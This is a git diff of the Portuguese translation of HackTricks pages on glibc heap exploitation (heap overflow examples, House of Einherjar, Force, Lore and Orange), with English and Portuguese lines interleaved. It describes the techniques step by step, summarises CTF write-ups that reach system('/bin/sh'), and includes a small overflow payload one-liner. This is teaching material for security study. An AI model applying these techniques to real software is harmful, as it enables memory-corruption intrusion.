Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os blocos livres sejam preenchidos e que uma nova página seja criada**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima.
### Example libc
### Exemplo libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo bloco e a posição do tamanho prev é possível **consolidar um bloco usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um bloco próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
### Exemplo ARM64
Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte bloco do bloco transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Outros exemplos
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Usamos uma vulnerabilidade de Overflow de Inteiro para obter um Heap Overflow.
- Corrompemos ponteiros para uma função dentro de um `struct` do chunk transbordado para definir uma função como `system` e obter execução de código.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
### Code
### Código
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- Confira o exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Ou o de [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (você pode precisar preencher o tcache)
### Goal
### Objetivo
- The goal is to allocate memory in almost any specific address.
- O objetivo é alocar memória em quase qualquer endereço específico.
### Requirements
### Requisitos
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Criar um chunk falso quando quisermos alocar um chunk:
- Definir ponteiros para apontar para si mesmos para contornar verificações de sanidade
- Overflow de um byte com um byte nulo de um chunk para o próximo para modificar a flag `PREV_INUSE`.
- Indicar no `prev_size` do chunk abusado por off-by-null a diferença entre ele e o chunk falso
- O tamanho do chunk falso também deve ter sido definido com o mesmo tamanho para contornar verificações de sanidade
- Para construir esses chunks, você precisará de um leak de heap.
### Attack
### Ataque
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- Um chunk falso `A` é criado dentro de um chunk controlado pelo atacante apontando com `fd` e `bk` para o chunk original para contornar as proteções
- 2 outros chunks (`B` e `C`) são alocados
- Abusando o off by one no `B`, o bit `prev in use` é limpo e os dados de `prev_size` são sobrescritos com a diferença entre o lugar onde o chunk `C` é alocado e o chunk falso `A` gerado anteriormente
- Este `prev_size` e o tamanho no chunk falso `A` devem ser os mesmos para contornar as verificações.
- Em seguida, o tcache é preenchido
- Então, `C` é liberado para que se consolide com o chunk falso `A`
- Em seguida, um novo chunk `D` é criado que começará no chunk falso `A` e cobrirá o chunk `B`
- A casa de Einherjar termina aqui
- Isso pode ser continuado com um ataque de fast bin ou envenenamento de Tcache:
- Liberar `B` para adicioná-lo ao fast bin / Tcache
- O `fd` de `B` é sobrescrito fazendo-o apontar para o endereço alvo abusando do chunk `D` (já que contém `B` dentro)&#x20;
- Em seguida, 2 mallocs são feitos e o segundo irá **alocar o endereço alvo**
## References and other examples
## Referências e outros exemplos
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- Após liberar ponteiros, eles não são anulados, então ainda é possível acessar seus dados. Portanto, um chunk é colocado no bin não ordenado e os ponteiros que contém são vazados (libc leak) e então um novo heap é colocado no bin não ordenado e um endereço de heap é vazado a partir do ponteiro que obtém.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- Bug de overflow de byte nulo em `strtok`.
- Use a Casa de Einherjar para obter uma situação de chunks sobrepostos e terminar com envenenamento de Tcache para obter um primitivo de escrita arbitrária.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
### Code
### Código
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Esta técnica foi corrigida ([**aqui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produz este erro: `malloc(): corrupted top size`
- Você pode tentar o [**código daqui**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) para testá-lo se quiser.
### Goal
### Objetivo
- The goal of this attack is to be able to allocate a chunk in a specific address.
- O objetivo deste ataque é conseguir alocar um chunk em um endereço específico.
### Requirements
### Requisitos
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- Um overflow que permita sobrescrever o tamanho do cabeçalho do top chunk (por exemplo, -1).
- Ser capaz de controlar o tamanho da alocação do heap.
### Attack
### Ataque
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Se um atacante quiser alocar um chunk no endereço P para sobrescrever um valor aqui. Ele começa sobrescrevendo o tamanho do top chunk com `-1` (talvez com um overflow). Isso garante que malloc não usará mmap para nenhuma alocação, já que o Top chunk sempre terá espaço suficiente.
Em seguida, calcule a distância entre o endereço do top chunk e o espaço alvo para alocar. Isso ocorre porque uma malloc com esse tamanho será realizada para mover o top chunk para essa posição. É assim que a diferença/tamanho pode ser facilmente calculada:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Portanto, alocar um tamanho de `target - old_top - 4*sizeof(long)` (os 4 longs são devido aos metadados do chunk superior e do novo chunk quando alocado) moverá o chunk superior para o endereço que queremos sobrescrever.\
Em seguida, faça outro malloc para obter um chunk no endereço alvo.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Referências e Outros Exemplos
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- O objetivo deste cenário é um ret2win onde precisamos modificar o endereço de uma função que será chamada pelo endereço da função ret2win
- O binário tem um overflow que pode ser explorado para modificar o tamanho do chunk superior, que é modificado para -1 ou p64(0xffffffffffffffff)
- Em seguida, calcula-se o endereço do lugar onde o ponteiro a ser sobrescrito existe, e a diferença da posição atual do chunk superior até lá é alocada com `malloc`
- Finalmente, um novo chunk é alocado que conterá este alvo desejado dentro do qual é sobrescrito pela função ret2win
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- No `Input your name:` há uma vulnerabilidade inicial que permite vazar um endereço da heap
- Então, na funcionalidade `Org:` e `Host:`, é possível preencher os 64B do ponteiro `s` quando solicitado pelo **nome da org**, que na pilha é seguido pelo endereço de v2, que é então seguido pelo **nome do host** indicado. Como então, strcpy vai copiar o conteúdo de s para um chunk de tamanho 64B, é possível **sobrescrever o tamanho do chunk superior** com os dados colocados dentro do **nome do host**.
- Agora que a escrita arbitrária é possível, o GOT de `atoi` foi sobrescrito para o endereço de printf. então foi possível vazar o endereço de `IO_2_1_stderr` _com_ `%24$p`. E com esse vazamento de libc foi possível sobrescrever novamente o GOT de `atoi` com o endereço de `system` e chamá-lo passando como parâmetro `/bin/sh`
- Um método alternativo [proposto neste outro relatório](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) é sobrescrever `free` com `puts`, e então adicionar o endereço de `atoi@got`, no ponteiro que será posteriormente liberado para que seja vazado e com esse vazamento sobrescrever novamente `atoi@got` com `system` e chamá-lo com `/bin/sh`.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Há um UAF permitindo reutilizar um chunk que foi liberado sem limpar o ponteiro. Como existem alguns métodos de leitura, é possível vazar um endereço da libc escrevendo um ponteiro para a função free no GOT aqui e então chamando a função de leitura.
- Em seguida, a House of force foi usada (abusando do UAF) para sobrescrever o tamanho do espaço restante com um -1, alocar um chunk grande o suficiente para chegar ao free hook, e então alocar outro chunk que conterá o free hook. Então, escreva no hook o endereço de `system`, escreva em um chunk `"/bin/sh"` e finalmente libere o chunk com esse conteúdo de string.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
### Code
### Código
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- Verifique o de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- Isso não está funcionando
- Ou: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Isso não está funcionando mesmo que tente contornar algumas verificações, gerando o erro: `malloc(): unaligned tcache chunk detected`
- Este exemplo ainda está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### Objetivo
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- Inserir um **chunk pequeno falso no small bin para que seja possível alocá-lo**.\
Note que o chunk pequeno adicionado é o falso que o atacante cria e não um falso em uma posição arbitrária.
### Requirements
### Requisitos
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- Criar 2 chunks falsos e vinculá-los juntos e com o chunk legítimo no small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado via alguma outra vulnerabilidade)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Então você poderá alocar `fake0`.
### Attack
### Ataque
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- Um chunk pequeno (`legit`) é alocado, então outro é alocado para evitar a consolidação com o top chunk. Em seguida, `legit` é liberado (movendo-o para a lista de bins não ordenados) e um chunk maior é alocado, **movendo `legit` para o small bin.**
- Um atacante gera alguns chunks pequenos falsos e faz a vinculação necessária para contornar as verificações de sanidade:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (você precisa modificar um ponteiro no chunk do small bin liberado via alguma outra vulnerabilidade)
- `legit.bk` -> `fake0`
- Um chunk pequeno é alocado para obter legit, tornando **`fake0`** a lista principal de small bins
- Outro chunk pequeno é alocado, obtendo `fake0` como um chunk, permitindo potencialmente ler/escrever ponteiros dentro dele.
## References
## Referências
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -2,72 +2,72 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
### Code
### Código
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Encontre um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- A técnica de exploração foi corrigida neste [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) então isso não está mais funcionando (funcionando em versões anteriores a 2.26)
- Mesmo exemplo **com mais comentários** em [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal
### Objetivo
- Abuse `malloc_printerr` function
- Abusar da função `malloc_printerr`
### Requirements
### Requisitos
- Overwrite the top chunk size
- Libc and heap leaks
- Sobrescrever o tamanho do chunk superior
- Vazamentos de libc e heap
### Background
### Contexto
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Algumas informações de fundo necessárias dos comentários de [**este exemplo**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
A questão é que, em versões mais antigas da libc, quando a função `malloc_printerr` era chamada, ela **iterava através de uma lista de structs `_IO_FILE` armazenadas em `_IO_list_all`**, e na verdade **executava** um ponteiro de instrução naquela struct.\
Este ataque irá forjar uma **struct `_IO_FILE` falsa** que escreveremos em **`_IO_list_all`**, e fará com que `malloc_printerr` seja executado.\
Então, ele **executará qualquer endereço** que tivermos armazenado na tabela de saltos das structs **`_IO_FILE`**, e teremos execução de código.
### Attack
### Ataque
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
O ataque começa conseguindo obter o **chunk superior** dentro do **bin não ordenado**. Isso é alcançado chamando `malloc` com um tamanho maior que o tamanho atual do chunk superior, mas menor que **`mmp_.mmap_threshold`** (o padrão é 128K), que de outra forma acionaria a alocação `mmap`. Sempre que o tamanho do chunk superior é modificado, é importante garantir que o **chunk superior + seu tamanho** esteja alinhado à página e que o bit **prev_inuse** do chunk superior esteja sempre definido.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Para obter o chunk superior dentro do bin não ordenado, aloque um chunk para criar o chunk superior, mude o tamanho do chunk superior (com um estouro no chunk alocado) para que **chunk superior + tamanho** esteja alinhado à página com o bit **prev_inuse** definido. Em seguida, aloque um chunk maior que o novo tamanho do chunk superior. Note que `free` nunca é chamado para colocar o chunk superior no bin não ordenado.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
O antigo chunk superior agora está no bin não ordenado. Supondo que possamos ler dados dentro dele (possivelmente devido a uma vulnerabilidade que também causou o estouro), é possível vazar endereços da libc a partir dele e obter o endereço de **\_IO_list_all**.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
Um ataque ao bin não ordenado é realizado abusando do estouro para escrever `topChunk->bk->fwd = _IO_list_all - 0x10`. Quando um novo chunk é alocado, o antigo chunk superior será dividido, e um ponteiro para o bin não ordenado será escrito em **`_IO_list_all`**.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
O próximo passo envolve reduzir o tamanho do antigo chunk superior para caber em um bin pequeno, especificamente definindo seu tamanho para **0x61**. Isso serve a dois propósitos:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Inserção no Bin Pequeno 4**: Quando `malloc` escaneia o bin não ordenado e vê este chunk, ele tentará inseri-lo no bin pequeno 4 devido ao seu pequeno tamanho. Isso faz com que o chunk termine na cabeça da lista do bin pequeno 4, que é a localização do ponteiro FD do chunk de **`_IO_list_all`** já que escrevemos um endereço próximo em **`_IO_list_all`** através do ataque ao bin não ordenado.
2. **Acionando uma Verificação do Malloc**: Essa manipulação do tamanho do chunk fará com que `malloc` realize verificações internas. Quando ele verifica o tamanho do chunk falso para frente, que será zero, isso aciona um erro e chama `malloc_printerr`.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
A manipulação do bin pequeno permitirá que você controle o ponteiro para frente do chunk. A sobreposição com **\_IO_list_all** é usada para forjar uma estrutura **\_IO_FILE** falsa. A estrutura é cuidadosamente elaborada para incluir campos-chave como `_IO_write_base` e `_IO_write_ptr` definidos para valores que passam nas verificações internas da libc. Além disso, uma tabela de saltos é criada dentro da estrutura falsa, onde um ponteiro de instrução é definido para o endereço onde o código arbitrário (por exemplo, a função `system`) pode ser executado.
To summarize the remaining part of the technique:
Para resumir a parte restante da técnica:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Reduzir o Antigo Chunk Superior**: Ajustar o tamanho do antigo chunk superior para **0x61** para caber em um bin pequeno.
- **Configurar a Estrutura Falsa `_IO_FILE`**: Sobrepor o antigo chunk superior com a estrutura falsa **\_IO_FILE** e definir os campos adequadamente para sequestrar o fluxo de execução.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
O próximo passo envolve forjar uma estrutura falsa **\_IO_FILE** que se sobrepõe ao antigo chunk superior atualmente no bin não ordenado. Os primeiros bytes dessa estrutura são elaborados cuidadosamente para incluir um ponteiro para um comando (por exemplo, "/bin/sh") que será executado.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
